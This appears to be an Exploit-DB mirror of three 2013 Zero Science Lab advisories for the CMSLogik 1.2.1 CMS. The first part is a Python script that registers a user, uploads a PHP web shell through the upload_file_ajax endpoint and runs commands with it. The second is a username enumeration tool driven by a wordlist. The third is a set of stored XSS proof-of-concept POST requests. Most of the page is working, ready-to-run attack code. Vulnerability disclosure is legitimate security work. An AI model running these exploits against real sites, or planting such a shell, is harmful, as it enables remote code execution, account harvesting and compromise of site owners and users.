CMSLogik 1.2.1 – Multiple Vulnerabilities

  • 作者: LiquidWorm
    日期: 2013-04-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24959/
  • #!/usr/bin/python
    #
    # CMSLogik 1.2.1 (upload_file_ajax()) Shell Upload Exploit
    #
    #
    # Vendor: ThemeLogik
    # Product web page: http://www.themelogik.com/cmslogik
    # Affected version: 1.2.1 and 1.2.0
    #
    # Summary: CMSLogik is built on a solid & lightweight framework
    # called CodeIgniter, and design powered by Bootstrap. This
    # combination allows for greater security, extensive flexibility,
    # and ease of use. You can use CMSLogik for almost any niche that
    # your project might fall into.
    #
    # Desc: The vulnerability is caused due to the improper verification
    # of uploaded files in '/application/controllers/support.php' script
    # thru the 'upload_file_ajax()' function. This can be exploited to
    # execute arbitrary PHP code by uploading a malicious PHP script file
    # with multiple extensions in the '/support_files' directory. Normal
    # user [level 113] authentication required.
    #
    # ======================================================================
    # /application/controllers/support.php:
    # -------------------------
    #
    # 143: public function upload_file_ajax()
    # 144: {
    # 145:$allowedExtensions = array('jpeg', 'jpg', 'gif', 'png', 'html', 'php', 'js', 'doc', 'docx', 'pdf', 'ppt', 'pps', 'pptx', 'ppsx');
    # 146:$sizeLimit = 10 * 1024;
    # 147:$params = array('extensions' => $allowedExtensions, 'size' => $sizeLimit);
    # 148:$this->load->library('qqfileuploader', $params);
    # 149:
    # 150:$result = $this->qqfileuploader->handleUpload('./support_files');
    # 151:
    # 152:echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);
    # 153: }
    #
    # ======================================================================
    #
    # Tested on: Apache/2.2.22
    #PHP/5.3.15
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # @zeroscience
    #
    #
    # Advisory ID: ZSL-2013-5138
    # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5138.php
    #
    #
    # 05.04.2013
    #
    
    import json, re, sys
    import urllib, urllib2, time
    import cookielib, webbrowser
    
    if len(sys.argv) < 3:
    	print '\n\n\x20-\x20\x20[*] Usage: ' +sys.argv[0]+ ' <target> <path>\n'
    	print '\n\x20-\x20\x20[*] Example: ' +sys.argv[0]+ ' example.com cmslogik\n'
    	sys.exit(0)
    	
    host = sys.argv[1]
    path = sys.argv[2]
    
    def reguser():
    	cj = cookielib.CookieJar()
    	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    	username = raw_input('[+] Enter username [at least 4 characters]: ')
    	chk_usr = urllib.urlencode({'user' : username})
    	try:
    		xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
    		for key, value in xhr.iteritems():
    			fnrand = value
    			break
    		if fnrand == '1':
    			print '[!] The user ' +username+ ' is not available.'
    			print '[!] Choose a more unique username please.'
    			reguser()
    	except:
    		print '[!] No connection to host'
    		sys.exit(0)
    	else:
    		print '[*] The user \'' +username+ '\' is available.'
    		email = raw_input('[+] Choose e-mail [unique@unique.unique]: ')
    		password = raw_input('[+] Choose password [at least 6 characters]: ')
    		reg_data = urllib.urlencode({'email' : email,
    					 'full_name' : 'Patch',
    					 'password1' : password,
    					 'password2' : password,
    					 'r_username' : username,
    					 'register' : 'Register!'}
    					 )
    		auth = opener.open('http://' +host+ '/' +path+ '/register', reg_data)
    		match = auth.read()
    		if re.search(r"Sorry but that Email is already in use!", match):
    			print '[!] The e-mail you have chosen is already taken. Try again.'
    			reguser()
    		elif re.search(r"You have been registered", match):
    			print '[*] OK.'
    			loguser()
    		else:
    			print '[!] Something is fishy.'
    			sys.exit(0)
    	
    def loguser():
    	print '\n[*] Login please.'
    	username = raw_input('\n[+] Enter your username: ')
    	password = raw_input('[+] Enter your password: ')
    	cj = cookielib.CookieJar()
    	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    	login_data = urllib.urlencode({'username' : username,
    				 'password' : password,
    				 'login' : 'Login',
    				 'remember_me' : 'remember'}
    				 )
    	auth = opener.open('http://' +host+ '/' +path+ '/login', login_data)
    	match = auth.read()
    	if re.search(r"Error!", match):
    		print '\n[!] Not logged in! Try again.'
    		loguser()
    	else:
    		print '\n[*] Successfully logged in!'
    		print '[*] Uploading malicious php file...'
    		time.sleep(3)
    		upload_data = '<?php echo \'<pre>\' + system($_GET[\'cmd\']) + \'</pre>\'; ?>'
    		xhr2 = json.load(opener.open('http://' +host+ '/' +path+ '//support/upload_file_ajax?qqfile=liwo_sh.php', upload_data))
    		for key, value in xhr2.iteritems():
    			filename = value
    			break
    		print '[*] Your shell ID is: ' + filename + '.php'
    		time.sleep(2)
    		print '[*] Let me open that for ya...'
    		time.sleep(2)
    		webbrowser.open('http://' +host+ '/' +path+ '/support_files/' +filename+ '.php?cmd=uname -a;id')
    		print '\n[*] Zya!'
    		sys.exit(0)
    
    def menu():
    	print """
    (((((((((((((((((((((((((((((((((((((((((((((((((((
    (( ((
    ((	Hello! CMSLogik Shell Upload 0day((
    (( ((
    ((	1. Register a new User ((
    ((	2. Login with existing User((
    (( ((
    (((((((((((((((((((((((((((((((((((((((((((((((((((
    
    	"""
    	n = raw_input('Enter choice number: ');
    	if n=='1':
    		print '\n[*] Welcome to User Registration!'
    		reguser()
    	elif n=='2':
    		loguser()
    	else:
    		print '\n[?] Just 1 or 2 please...'
    		menu()
    menu()
    
    
    ###############################################################################
    
    
    #!/usr/bin/python
    #
    # CMSLogik 1.2.1 (user param) User Enumeration Weakness
    #
    #
    # Vendor: ThemeLogik
    # Product web page: http://www.themelogik.com/cmslogik
    # Affected version: 1.2.1 and 1.2.0
    #
    # Summary: CMSLogik is built on a solid & lightweight framework
    # called CodeIgniter, and design powered by Bootstrap. This
    # combination allows for greater security, extensive flexibility,
    # and ease of use. You can use CMSLogik for almost any niche that
    # your project might fall into.
    #
    # Desc: The weakness is caused due to the 'unique_username_ajax'
    # script enumerating the list of valid usernames when some characters
    # are provided via the 'user' parameter.
    #
    # Tested on: Apache/2.2.22
    #PHP/5.3.15
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # @zeroscience
    #
    #
    # Advisory ID: ZSL-2013-5137
    # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5137.php
    #
    #
    # 05.04.2013
    #
    
    import argparse, sys, json, urllib, urllib2, cookielib
    from colorama import Fore, Back, Style, init
    
    init()
    
    print '\n-----------------------------------------------'
    print 'User Enumeration Tool v0.1 for CMSLogik 1.2.x'
    print 'Copyleft (c) 2013, Zero Science Lab'
    print 'by lqwrm'
    print '-----------------------------------------------\n'
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', help='target IP or hostname', action='store', dest='target')
    parser.add_argument('-d', help='target dir', action='store', dest='dir')
    parser.add_argument('-f', help='username wordlist', action='store', dest='file')
    args = parser.parse_args()
    if len(sys.argv) != 7:
    	parser.print_help()
    	print '\n[*] Example: cmslogik_enum.py -t zeroscience.mk -d cmslogik -f users.txt'
    	sys.exit()
    host = args.target
    path = args.dir
    fn = args.file
    print '\n'
    try:
    	users = open(args.file, 'r')
    except(IOError):
    	print '[!] Error opening \'' +fn+ '\' file.'
    	sys.exit()
    lines = users.read().splitlines()
    print '[*] Loaded %d usernames for testing.\n' % len(open(fn).readlines())
    users.close()
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    results = open('validusers.txt', 'w')
    for line in lines:
    	chk_usr = urllib.urlencode({'user' : line})
    	try:
    		xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
    	except:
    		print '[!] Error connecting to http://' +host+ '/' +path
    		sys.exit()
    	print '[+] Testing username: ' +Fore.GREEN+line+Fore.RESET
    	for key, value in xhr.iteritems():
    		fnrand = value
    		break
    	if fnrand == '1':
    		print '[!] Found ' +Style.BRIGHT+Fore.RED+line+Style.RESET_ALL+Fore.RESET+ ' as valid registered user.'
    		results.write('%s\n' % line)
    results.close()
    print '\n[*] Enumeration completed!'
    print '[*] Valid usernames successfully written to \'validusers.txt\' file.'
    
    
    ###############################################################################
    
    
    
    CMSLogik 1.2.1 Multiple Persistent XSS Vulnerabilities
    
    
    Vendor: ThemeLogik
    Product web page: http://www.themelogik.com/cmslogik
    Affected version: 1.2.1 and 1.2.0
    
    Summary: CMSLogik is built on a solid & lightweight framework
    called CodeIgniter, and design powered by Bootstrap. This
    combination allows for greater security, extensive flexibility,
    and ease of use. You can use CMSLogik for almost any niche that
    your project might fall into.
    
    Desc: CMSLogik suffers from multiple stored XSS vulnerabilities
    when parsing user input to several parameters via POST method.
    Attackers can exploit these weaknesses to execute arbitrary HTML
    and script code in a user's browser session.
    
    Tested on: Apache/2.2.22
     PHP/5.3.15
    
    
    Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2013-5136
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5136.php
    
    
    05.04.2013
    
    --
    
    ==============================================================================
    
    POST http://localhost/cmslogik/admin/settings HTTP/1.1
    
    admin_email	"onmouseover=prompt("XSS1")>
    default_level	2
    default_page	1
    default_url	http://themelogik.com/cmslogik/
    email_activate	0
    header_title	"onmouseover=prompt("XSS2")>
    login	1
    registration	1
    site_title	"onmouseover=prompt("XSS3")>
    update_settings	Update Settings
    welcome_email	0
    
    ==============================================================================
    
    POST http://localhost/cmslogik/admin/captcha_settings HTTP/1.1
    
    captcha_settings	Update
    recaptcha_private	"onmouseover=prompt("XSS4")>
    recaptcha_public	"onmouseover=prompt("XSS5")>
    
    ==============================================================================
    
    POST http://localhost/cmslogik/admin/social_settings HTTP/1.1
    
    fb_appid	"onmouseover=prompt("XSS6")>
    fb_secret	"onmouseover=prompt("XSS7")>
    social_settings	Update
    tw_consumer_key	"onmouseover=prompt("XSS8")>
    tw_consumer_secret	"onmouseover=prompt("XSS9")>
    
    ==============================================================================
    
    POST http://localhost/cmslogik/admin/gallery/save_item_settings HTTP/1.1
    
    imgid	76
    long	test
    short	test
    slug	"onmouseover=prompt("XSS10")>
    status	live
    title	test
    
    ==============================================================================
    
    POST http://localhost/cmslogik/admin/edit_menu_item_ajax HTTP/1.1
    
    item_link	"onmouseover=prompt("XSS11")>
    item_name	test
    item_order	0
    mid	9
    
    ==============================================================================